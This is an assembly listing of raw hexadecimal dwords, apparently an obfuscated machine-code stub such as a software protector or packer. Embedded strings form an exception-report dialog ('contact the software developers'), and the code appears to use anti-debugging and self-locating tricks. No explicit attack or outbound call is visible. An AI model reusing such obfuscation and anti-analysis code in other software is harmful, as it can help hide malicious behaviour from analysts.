		dd 0B5894315h, 6122ED9h, 0F9E1858Dh, 8F0F0614h,	6, 0AF58D8Bh
		dd 81660612h, 0E93C59CAh, 16h, 20A98D8Bh, 858D0612h, 614F9B7h
		dd 5E9h, 0A4D1C300h, 8B509EFAh,	1204D595h, 84B5FF06h, 6A0614F9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 7D15C357h, 8B537E55h, 1209C1BDh, 0EE95A06h
		dd 0CA000000h, 17B559B3h, 95A95276h, 0A6809BEAh, 7C95FF6Ah
		dd 0F0614F9h, 0C83h, 6850F00h, 89000000h, 122FC58Dh, 0CE806h
		dd 69DE0000h, 119A9250h, 0D4843FEAh, 895A7118h,	14F98885h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0A7DDB05Dh, 0DF3E37F9h, 88B5FFCAh, 6A0614F9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0A7FCC357h, 3BFEF5FEh, 66833E13h,	95FFCA8Bh
		dd 614F978h, 1BD0153h, 5A06121Bh, 0F988B5FFh, 952B0614h
		dd 6121455h, 6595FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 56E725C3h, 0E9B68376h
		dd 9, 5C85619Eh, 9C89377Ah, 0FE8B6661h,	0FFF6D4E9h, 0F58589FFh
		dd 0FF061215h, 1504D1B5h, 21958906h, 0FF061232h, 120AC995h
		dd 8BC88B06h, 12005185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 355184AAh, 958B834Dh
		dd 6121B5Dh, 553E9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 9D2EAF27h, 6687D3ACh
		dd 0BD03D18Bh, 6120A51h, 0FC86B58Dh, 78B90614h,	8D5FB9EDh
		dd 14A9BB85h, 68B96606h, 0FD0FF17h, 583h, 0CF816600h, 6AB5B7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0FCC35747h
		dd 0BE8h, 20F1FB00h, 0CB3D0AF9h, 47E49373h, 4BE08160h
		dd 660D054Ch, 4285D381h, 95FF5F61h, 612066Dh, 48F0Fh, 0BF660000h
		dd 0F38BB634h, 1195BD8Bh, 858D0612h, 614A9BBh, 6820Fh
		dd 0B5890000h, 61203DDh, 8D2BD0FFh, 61212A5h, 800F006Ah
		dd 8, 28B0Fh, 61600000h, 66D95FFh, 8B600612h, 122331B5h
		dd 31BD0906h, 6106122Eh, 0FB8BC08Bh, 0EE9h, 45DA4100h
		dd 8C1B2CBEh, 7211729Dh, 8354E1DDh, 120E71BDh, 9750006h
		dd 2D69BD83h, 74000612h, 8B535019h, 7D9B8C0h, 85890000h
		dd 61234F5h, 0AFEA9D8Dh, 0D3FF0614h, 0BD83585Bh, 6122D69h
		dd 50177400h, 7D9B853h,	85890000h, 61234F5h, 0ACD99D8Dh
		dd 0D3FF0614h, 958B585Bh, 6121305h, 0C79958Bh, 0C08B0612h
		dd 8B505F51h, 9D8D53D8h, 6122579h, 389038Bh, 8950438Bh
		dd 9D8D5043h, 615046Ah,	389038Bh, 8E95Bh, 763B0000h, 6F53139Eh
		dd 6AB0E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 663A94C3h, 8D8BCA8Bh, 6121551h, 8960006Ah
		dd 120B0DBDh, 5D28106h,	6155C434h, 46A858Dh, 958B0615h
		dd 6121C0Dh, 10E9h, 0C9FE1300h,	0BCE1355Dh, 422C9ADh, 0FECA225Fh
		dd 958B5022h, 6120FA5h,	6A606Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0AB9EBEC3h, 0F8C212Eh
		dd 885h, 8D035000h, 61222FDh, 79858D5Ah, 6A061225h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0D757C355h, 7257B9DEh, 6672CDD3h, 8050F88Bh,	6A45D5h
		dd 6196B260h, 0BF66006Ah, 68FCD1EFh, 1800h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D7C35242h, 7A823285h
		dd 850F4F1Dh, 12h, 0DE9h, 82975A00h, 0A3867FADh, 0EA2C7F53h
		dd 89531B4Ch, 120849BDh, 9D95FF06h, 0E8061221h,	9, 62FD1E16h
		dd 8A5C7557h, 11E971h, 45330000h, 0B0A4D7FDh, 0D8F1237Ah
		dd 0F504B02Eh, 59F1363Ch, 52995FFh, 9D890612h, 6120A15h
		dd 4D1B5FFh, 810F0615h,	4, 3789BF66h, 0AC995FFh, 0E9560612h
		dd 0Bh,	81C7AAB6h, 0B95A5241h, 5FD5B68Bh, 2579858Dh, 0BD330612h
		dd 6120A89h, 5018408Bh,	24418531h, 0C75A0612h, 120C9185h
		dd 6, 8D895300h, 61234A9h, 0A1BD8359h, 61230h, 1B840Fh
		dd 0F5800000h, 8C3DFCh,	830F0000h, 19Ah, 30F1BD8Bh, 2AE90612h
		dd 8B000000h, 983DF8h, 830F0000h, 182h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 15h, 33C35747h, 3B858DA2h
		dd 66005B24h, 4C42CF81h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 9D0102C3h, 6122231h
		dd 1E8E858Dh, 8D8B005Bh, 61230A5h, 0BF66D0FFh, 0C08B8DD1h
		dd 0D30AF181h, 0BD8345AAh, 6120E71h, 83097500h,	122D69BDh
		dd 19740006h, 0C08B5350h, 0BC6B8h, 0F5858900h, 8D061234h
		dd 14AFEA9Dh, 5BD3FF06h, 69BD8358h, 6122Dh, 53501774h
		dd 0BC6B8h, 0F5858900h,	8D061234h, 14ACD99Dh, 5BD3FF06h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0EEC6F854h
		dd 0DA1C8D1Ch, 0B1958B92h, 8B06121Ah, 0C18D0BC0h, 8B061203h
		dd 0FFF883D3h, 4E850Fh,	13E90000h, 0F2000000h, 27A3FA43h
		dd 0E300A77Eh, 5433302h, 7C795DE5h, 0F60EFBDh, 0B58BC8B7h
		dd 6122E81h, 0E185C761h, 6120Fh, 0F000000h, 0C8E9CBBFh
		dd 0F000000h, 682h, 35958B00h, 66061225h, 28F2F781h, 37E9h
		dd 0CCF68000h, 0F01F883h, 2B85h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 3BB21E25h
		dd 358D8957h, 0E9061230h, 98h, 0FFF1C8E9h, 8E9FFh, 85D50000h
		dd 17A2E588h, 0C08BF58Dh, 2C8909BFh, 71BD8354h,	6120Eh
		dd 0BD830975h, 6122D69h, 50197400h, 0B8C08B53h,	7DDh, 34F58589h
		dd 9D8D0612h, 614AFEAh,	585BD3FFh, 2D69BD83h, 74000612h
		dd 0B8535017h, 7DDh, 34F58589h,	9D8D0612h, 614ACD9h, 585BD3FFh
		dd 99B50950h, 5A06120Ah, 45BFC08Bh, 0E96E85E1h,	21Eh, 8DF9B70Fh
		dd 15026E85h, 0D18D8906h, 89061203h, 15046685h,	0C1BD8B06h
		dd 0E9061212h, 62h, 76858Dh, 6A0615h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 57AD2AC3h
		dd 0E98A0506h, 13h, 0A9D1EEF5h,	0BFA1F12Ah, 0D3D15803h
		dd 61978FDAh, 40E0623Ch, 0EE8h,	0DBAE8400h, 98CD51ACh
		dd 27E80A02h, 0B27CD2ADh, 85895AB0h, 6150466h, 35B1BD33h
		dd 346A0612h, 0E5858Dh,	0FF500612h, 150466B5h, 0FF006A06h
		dd 122BE195h, 7F88306h,	168840Fh, 8C660000h, 4C3F6DBh
		dd 102850Fh, 85C60000h,	6120259h, 0B8526856h, 0B5FF9CA8h
		dd 6122E19h, 3B56858Dh,	0D0FF0612h, 68046Ah, 6A000010h
		dd 0FF006A64h, 0D98589D0h, 0C6061504h, 12025985h, 9B684706h
		dd 0FFEC18ACh, 122E19B5h, 56858D06h, 0FF06123Bh, 8BD0FFD0h
		dd 5985C6F0h, 4F061202h, 2F266168h, 0B1B5FFC6h,	8D061224h
		dd 123B5685h, 8DD0FF06h, 1504D59Dh, 286A5306h, 85D0FF56h
		dd 0C60075C0h, 12025985h, 98684106h, 0FFDB8764h, 1224B1B5h
		dd 56858D06h, 0FF06123Bh, 0F28589D0h, 0C6061504h, 12025985h
		dd 0A4684C06h, 0FF80A4E7h, 1224B1B5h, 56858D06h, 0FF06123Bh
		dd 0D99D8BD0h, 8D061504h, 8D53045Bh, 1504DE9Dh,	6A5306h
		dd 9D8BD0FFh, 61504D9h,	103C7h,	43C70000h, 20Ch, 759D8B00h
		dd 0C7061231h, 122B4D85h, 6, 6A006A00h,	8B006A00h, 1504D99Dh
		dd 6A5306h, 4D5B5FFh, 95FF0615h, 61504F2h, 25985C6h, 68450612h
		dd 92A5F797h, 1309B5FFh, 858D0612h, 6123B56h, 6AD0FFh
		dd 0D0FF026Ah, 0F6DB8C66h, 327504C3h, 4D99D8Bh,	43C70615h
		dd 0Ch,	6A006A00h, 0D99D8B00h, 53061504h, 0B5FF006Ah, 61504D5h
		dd 4F295FFh, 0B5FF0615h, 61504D5h, 52995FFh, 6A0612h, 66D95FFh
		dd 81660612h, 0FC8350F1h, 2E318529h, 858D0612h,	615377Eh
		dd 502FE180h, 9E78166h,	35FF64FCh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 32C35242h
		dd 0FB06A53Ch, 89AB5911h, 1205E98Dh, 25896406h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 54C35646h
		dd 9D890220h, 6120FEDh,	285BD83h, 0F000612h, 3784h, 0D5BD8B00h
		dd 89061223h, 1213CDBDh, 0E9BD8306h, 106121Fh, 1E850Fh
		dd 0B70F0000h, 0F2BD80D3h, 61508h, 0E850Fh, 0BD330000h
		dd 6123035h, 1A6E9h, 63B1F500h,	6ADB33h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD0384C3h
		dd 6120AE9h, 12E8C033h,	0F4000000h, 0B8881287h,	2C4FF843h
		dd 50D47C1Ah, 0EB417897h, 12E9F0h, 7FFD0000h, 4016FE56h
		dd 36EA7E20h, 604EB487h, 612EEBE7h, 3F0F405Ah, 8F640B07h
		dd 5, 4C48300h,	0F49DC981h, 38BA704Eh, 6A5E66EAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 70A9C355h, 66C5D82Eh, 0ECC0D07Eh, 0FFFFB83h,	2E84h
		dd 7398B900h, 0F2E9619Dh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0D4DBC355h
		dd 0A6E9FA21h, 0E9D38BF1h, 66h,	840F60F5h, 0Ch,	6E8h, 14E85100h
		dd 5B6FEE2Bh, 1115BD89h, 8B610612h, 0C70C244Ch,	0A481h
		dd 0FFFFFF00h, 0B88183FFh, 4000000h, 8BC3C033h,	550C245Ch
		dd 0E8h, 0ED815D00h, 61537A0h, 0B8838Bh, 858D0000h, 6153836h
		dd 0B88389h, 335D0000h,	8B0FC3C0h, 3, 66CB8B66h, 858DD38Bh
		dd 6153796h, 6E9h, 518C800h, 507D42ECh,	0FF64F38Ah, 35h
		dd 0BD8B6000h, 61205F1h, 5840Fh, 82BB0000h, 61078FECh
		dd 258964h, 8B000000h, 12223195h, 0AB906h, 4B80000h, 54855D7h
		dd 0DF78164h, 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h
		dd 68FB81EDh, 75564D58h, 8585C70Ah, 106120Fh, 64000000h
		dd 58Fh, 0C4830000h, 0C9952B04h, 0E9061200h, 12h, 38B54071h
		dd 0C2F6F9B4h, 1114BEFDh, 4DAC65Ch, 8166A5D7h, 8B55E7EFh
		dd 0F4D580C0h, 0E71BD83h, 75000612h, 69BD8309h,	6122Dh
		dd 53501974h, 3DB8C08Bh, 89000004h, 12320585h, 519D8D06h
		dd 0FF0614B0h, 83585BD3h, 122D69BDh, 17740006h,	3DB85350h
		dd 89000004h, 12320585h, 0F29D8D06h, 0FF0614ACh, 8B585BD3h
		dd 121CEDBDh, 0C08BF906h, 147E9h, 400h,	392E3100h, 3031h
		dd 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 26ADBD83h, 0F000612h
		dd 12D84h, 9858D00h, 500614ABh,	0AA73858Dh, 68500614h
		dd 80000001h, 0AB1995FFh, 858D0614h, 61538C0h, 0CA858D50h
		dd 50061538h, 6A006Ah, 0AA87858Dh, 0FF500614h, 14AB09B5h
		dd 4D95FF06h, 8D061204h, 1538C085h, 858D5006h, 61538CEh
		dd 6A006A50h, 99858D00h, 500614AAh, 0AB09B5FFh,	95FF0614h
		dd 612044Dh, 38C0858Dh,	8D500615h, 1538DA85h, 6A5006h
		dd 858D006Ah, 614AAE6h,	9B5FF50h, 0FF0614ABh, 12044D95h
		dd 0C0858D06h, 50061538h, 38E2858Dh, 6A500615h,	8D006A00h
		dd 14AB0485h, 0B5FF5006h, 614AB09h, 44D95FFh, 858D0612h
		dd 61538C0h, 0DE858D50h, 50061538h, 6A006Ah, 0AAED858Dh
		dd 0FF500614h, 14AB09B5h, 4D95FF06h, 8D061204h,	1538C085h
		dd 858D5006h, 61538D2h,	6A006A50h, 0F5858D00h, 500614AAh
		dd 0AB09B5FFh, 95FF0614h, 612044Dh, 38C0858Dh, 8D500615h
		dd 1538D685h, 6A5006h, 858D006Ah, 614AAFCh, 9B5FF50h, 0FF0614ABh
		dd 12044D95h, 9B5FF06h,	0FF0614ABh, 12301D95h, 0A2E906h
		dd 0BD830000h, 6122A15h, 95840F00h, 83000000h, 121FE9BDh
		dd 850F0006h, 11h, 3281958Bh, 0C2810612h, 1CF8h, 0FE9h
		dd 79958D00h, 8B061225h, 0C2813452h, 3BD4C340h,	13559589h
		dd 0BD830612h, 6121355h, 55840F00h, 8B000000h, 1213559Dh
		dd 4CC38306h, 8589038Bh, 61538CAh, 13559D8Bh, 0C3830612h
		dd 89038B50h, 1538CE85h, 559D8B06h, 83061213h, 38B54C3h
		dd 38DA8589h, 9D8B0615h, 6121355h, 8B58C383h, 0DE858903h
		dd 8B061538h, 1213559Dh, 5CC38306h, 8589038Bh, 61538D2h
		dd 26ADBD83h, 0F000612h, 0D85h,	15BD8300h, 6122Ah, 68840Fh
		dd 0B5FF0000h, 61538E2h, 38D6B5FFh, 0B5FF0615h,	61538D2h
		dd 38DEB5FFh, 0B5FF0615h, 61538DAh, 38CEB5FFh, 0B5FF0615h
		dd 61538CAh, 38C4858Dh,	8D500615h, 1538FC85h, 858D5006h
		dd 61227BDh, 4995FF50h,	83061209h, 406A24C4h, 38E6858Dh
		dd 8D500615h, 1227BD85h, 6A5006h, 2BE195FFh, 16A0612h
		dd 66D95FFh, 0C18B0612h, 11E8h,	4BEECF00h, 202C3D05h, 23C01AAh
		dd 0F59D6146h, 11E92DDBh, 0B6000000h, 0A764D570h, 4828CF16h
		dd 5B506896h, 1A1D6749h, 0D6816658h, 0C081FC17h, 5FA0h
		dd 13E9h, 0B7333600h, 0A0E0C819h, 0DA91C8E0h, 0C57CE175h
		dd 0B96B5652h, 17A468h,	0F1BF0F00h, 10E9505Fh, 68000000h
		dd 6CCBF8FFh, 7DC36CFEh, 95CE223h, 5B35BC09h, 0CE9088Bh
		dd 15000000h, 97581967h, 0A4D897B0h, 81C5BFD3h,	936767F1h
		dd 815A5303h, 2C8F81F1h, 18C0F6Ch, 0FC000000h, 0FDE1C181h
		dd 0DE827BAh, 0F2000000h, 30983BCDh, 36DC2F1Ch,	0C321751h
		dd 515BD88Bh, 2860Fh, 0FD8A0000h, 830F008Fh, 0Ch, 68E0Fh
		dd 880F0000h, 0
		dd 8104E883h, 0BBB27EBh, 850F4F0Ah, 1Eh, 4BB583BBh, 2FE962h
		dd 12990000h, 0E5690D7Ah, 13657289h, 34BE9DA0h,	9FF57904h
		dd 8A0F9702h, 2, 65E94DB2h, 32FFFFFFh, 59F66EDEh, 2A3C6992h
		dd 0DA9F3DF6h, 1718EB33h, 9B46F3h, 4 dup(0)
		dd 0E9000000h, 20Bh, 245C8B60h,	0E824h,	815D0000h, 153DA9EDh
		dd 4C26106h, 0FFE6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 0FFFFh, 0
		dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 6153DE1h,	0F000E681h
		dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 6153DE5h
		dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
		dd 0C00A0324h, 19840Fh,	53500000h, 2BBh, 55858B00h, 86061213h
		dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
		dd 74FF50FFh, 95FF0824h, 6122EDDh, 4C010F50h, 8358FE24h
		dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
		dd 0FC00A03h, 984h, 55858B00h, 0C6061213h, 0FF580000h
		dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
		dd 38840Fh, 2BB0000h, 8B000000h, 12135585h, 0A188606h
		dd 0F6850FDBh, 0C7FFFFFFh, 12315D85h, 6, 24448B00h, 988B08h
		dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 612315Dh
		dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
		dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h,	0C302C88Ah
		dd 0CBD1C332h, 0FD20BAAh, 184h,	0C90A4A00h, 0FFE5850Fh
		dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
		dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
		dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
		dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
		dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
		dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h,	0FD20BFFh, 0FFFFDF85h
		dd 66C361FFh, 4A8D88Ch,	29840Fh, 85C70000h, 6153D86h, 1
		dd 4C010F50h, 858FFE24h, 6153D8Ah, 3D82858Dh, 0BD8D0615h
		dd 6153D8Ah, 23E93889h,	8D000000h, 12257985h, 38408B06h
		dd 46F31705h, 8285899Bh, 8D06153Dh, 12257985h, 3C408B06h
		dd 3D868589h, 858D0615h, 6153D9Fh, 2EDD8589h, 87E90612h
		dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch,	7E9A945h
		dd 0
		dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h
		dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h
		dd 0A840F2Dh, 4000000h,	32133498h, 8C3C1D8h, 0FC90B49h
		dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 6154012h
		dd 0C0D8589h, 858D0612h, 615403Ah, 0FF18589h, 858D0612h
		dd 6154062h, 1A498589h,	8B600612h, 0B1C680C0h, 0E71BD83h
		dd 75000612h, 69BD8309h, 6122Dh, 53501974h, 0EB8C08Bh
		dd 89000004h, 1234F585h, 0EA9D8D06h, 0FF0614AFh, 83585BD3h
		dd 122D69BDh, 17740006h, 0EB85350h, 89000004h, 1234F585h
		dd 0D99D8D06h, 0FF0614ACh, 0BA585BD3h, 4E3219C9h, 6AD1BF0Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 4456C352h, 0D1842ADAh, 7E571567h,	8BF18B66h
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 84F0BD4Fh, 800FD38Bh, 5,	0D0EA8166h, 6E994h
		dd 86700000h, 0CB2ACB0Eh, 285BD83h, 0F000612h, 3E84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0BB61BC75h, 0D9811EADh, 36EAE478h, 2A7E9h, 0E7816000h
		dd 77AB120Ch, 0FB2B560h, 86h, 8C616100h, 50006ADFh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 1EDDD13Ah, 926BBE66h, 0CE9h,	845F1600h, 0B80FCCF4h
		dd 0B418A160h, 0C7F76619h, 850F0004h, 254h, 86E18166h
		dd 0A1BD83CDh, 61230h, 4E850Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 88EA50C3h
		dd 997960E0h, 0E9C88BA4h, 218h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 6DC35242h, 814EF783h, 0F0B70F0Ah
		dd 0BFh, 0E3DD8000h, 43F49D8Dh,	6A0615h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 42DC7BC3h
		dd 0FAA1728Dh, 0E6816669h, 5293B3CCh, 69D0BE60h, 0BE93F92h
		dd 64000000h, 17D114FEh, 92D63AB2h, 5A6154D0h, 0BF0F9350h
		dd 35FF64F7h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 43C35040h
		dd 7C8DFC28h, 500AF4BAh, 25896437h, 0
		dd 0EE950h, 6D400000h, 0CEF703ACh, 1EE7DD70h, 0A81717DCh
		dd 60C48B5Eh, 61D78B66h, 0EB01CDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0C0C35545h,	0C0F9464Ah, 890D1A3Fh
		dd 58F64h, 0F000000h, 889h, 2820F00h, 51000000h, 10E959h
		dd 28EC0000h, 8770B8FFh, 0E28D329Eh, 167D5C16h,	0C4831A05h
		dd 0BD4B604h, 0F1840FC0h, 60000000h, 0C7816657h, 665BF4D9h
		dd 6161F08Bh, 0B8B0Fh, 6E90000h, 82000000h, 0AE4D6EB7h
		dd 17BD8D42h, 0E9061273h, 12h, 0AF332E2Dh, 13B745Ah, 2590623h
		dd 0F97B2401h, 1B86CA3h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 4685C356h
		dd 8E0F21E2h, 2, 0E7FFF78Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 22C35242h, 0B3F3DDA4h, 8B6C4490h
		dd 5C8B57D3h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh, 0B0h
		dd 0B88383h, 5F020000h,	0FC3C033h, 1180h, 93B46000h, 8E9h
		dd 0BB0C0300h, 0DB6DC96Eh, 11E86165h, 83000000h, 58D2B144h
		dd 0D4974C26h, 0D38B448Dh, 9B51F274h, 0AE8h, 0EB196800h
		dd 5C0A3EE8h, 66026691h, 5E59D38Bh, 0C6816661h,	0C08B455Ch
		dd 0F9BBB360h, 71BD8361h, 6120Eh, 0BD830975h, 6122D69h
		dd 50197400h, 0B8C08B53h, 40Eh,	32058589h, 9D8D0612h, 614B051h
		dd 585BD3FFh, 2D69BD83h, 74000612h, 0B8535017h,	40Eh, 32058589h
		dd 9D8D0612h, 614ACF2h,	585BD3FFh, 8E8h, 59D23800h, 6F2262F6h
		dd 0CE99Bh, 79100000h, 0E0D2A969h, 383034CAh, 66593A69h
		dd 0C08BF18Bh, 0C28BEA8Ah, 8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 6121FE9h, 74D9858Dh,	88B0615h, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 44DD8D89h, 0BD830615h, 61230A1h,	0F840F00h
		dd 60000000h, 95FF006Ah, 6122475h, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 0D985895Ah,	8B061544h
		dd 1544DDB5h, 10CEC106h, 2728966h, 44DDB58Bh, 89660615h
		dd 8B61FC72h, 1544D985h, 958DC306h, 6120CB5h, 13559589h
		dd 95890612h, 6122A25h,	2A2585FFh, 85C60612h, 6120259h
		dd 48D86853h, 0B5FFFCB1h, 6122E19h, 3B56858Dh, 0D0FF0612h
		dd 24758589h, 858D0612h, 6153DB9h, 1B6D8589h, 0EB0612h
		dd 5FFE9h, 5F3E900h, 6E680000h,	0E9061546h, 0FFFD3AB8h
		dd 1547D868h, 3AAEE906h, 5668FFFDh, 0E9061548h,	0FFFD3AA4h
		dd 15494B68h, 3A9AE906h, 3368FFFDh, 0E906154Ah,	0FFFD3A90h
		dd 2DCA7A8Eh, 7C9D41C2h, 8E6B15EDh, 0DC3DDF23h,	0EF08B64Dh
		dd 3EC57254h, 8187790h,	0D5288760h, 0AC75D435h,	0FFBCE502h
		dd 0EFC76869h, 0B128C600h, 0FA826194h, 82CD0C06h, 36A006FAh
		dd 5B06FA82h, 6FA829Eh,	10B649D8h, 82C90D93h, 33A606FAh
		dd 0A586FA82h, 0E206B719h, 8CE87CDEh, 2CDA2938h, 2A93EAB7h
		dd 0EA7EE23Fh, 80E884EBh, 9E7BF645h, 204CEE33h,	0CB113ABh
		dd 0FA86DCE4h, 0B063DA8Ah, 0E4B3FBE2h, 6B495713h, 3000004h
		dd 57BA5705h, 66C926CCh, 0B41BF4A0h, 0C629C66Ah, 0C1749541h
		dd 1DC95EFDh, 0ED936DFCh, 0BE60BD0Ch, 8F37CE21h, 1C742972h
		dd 0EFC4DDh, 0BF3A5F7Bh, 33AD4DD0h, 0CF57E9ADh,	68077C6Bh
		dd 58061D99h, 3B49EF31h, 0ADB5C33Eh, 6FA3629h, 0F92901A6h
		dd 0DC617E28h, 4F10A7BCh, 283FCD6h, 88F49E67h, 2A560001h
		dd 7553D6Ah, 78D0B8E9h,	7F916710h, 6FA6E7Eh, 55E665D8h
		dd 0FA6EC233h, 0A4211C06h, 29923CC5h, 0C441E53Eh, 677C6C2Bh
		dd 0B00DD0F7h, 0B4000003h, 0E95921BFh, 0B455EEBh, 4226FF8Ah
		dd 4FAAB726h, 7EE6AE39h, 6FAFB7Fh, 297218EBh, 41EB3B52h
		dd 6B85B6C2h, 0BD27388Dh, 0BD3C5411h, 1B06FA1Ah, 0B820A520h
		dd 6FA1A3Ch, 0DCFA5093h, 9623ECBCh, 0D05561B6h,	29C670B1h
		dd 8EAEF637h, 0DA7F14E0h, 99D20365h, 2F6C06FAh,	4B39E120h
		dd 9937A62Eh, 0AA9106FAh, 35C8412Fh, 8702A479h,	54FE076Ah
		dd 896F89E7h, 2EAC8111h, 7944C7B5h, 0D443F819h,	5D2CA949h
		dd 2D6E1AC4h, 315998F0h, 84F706FAh, 0F8A0600Fh,	2CF7621Fh
		dd 67FFA86h, 0FA316792h, 8B31F306h, 40BED632h, 0D96D3A70h
		dd 0D6B105Ch, 8042DAB2h, 0D9B62F9Ch, 0F61AA305h, 0CE8FF9Ah
		dd 3301DCBCh, 0A1F8F4B1h, 0B499F322h, 0AEDA5EA2h, 30180h
		dd 0C16FB500h, 9036C920h, 5E0A1877h, 30D42E81h,	0FFAB78D7h
		dd 0F0675BE2h, 76A8733h, 57BA57FDh, 60CF28CAh, 8718F9A1h
		dd 0C577668Ah, 35D100EFh, 8621BFACh, 9133CF18h,	161686E3h
		dd 5130B5E3h, 0F35A26D0h, 6DFC8832h, 440CED93h,	6FAAAD1h
		dd 0FA5AB93Ch, 9190FF06h, 65DE9BE9h, 64BEFA0Ah,	2F3745C0h
		dd 6FABAAAh, 0FD3EA23Ch, 0E857BF6Bh, 9D44370Ch,	5EA24011h
		dd 83B886C2h, 3B000002h, 4FA23FEDh, 9EF10EB4h, 0AC03DC88h
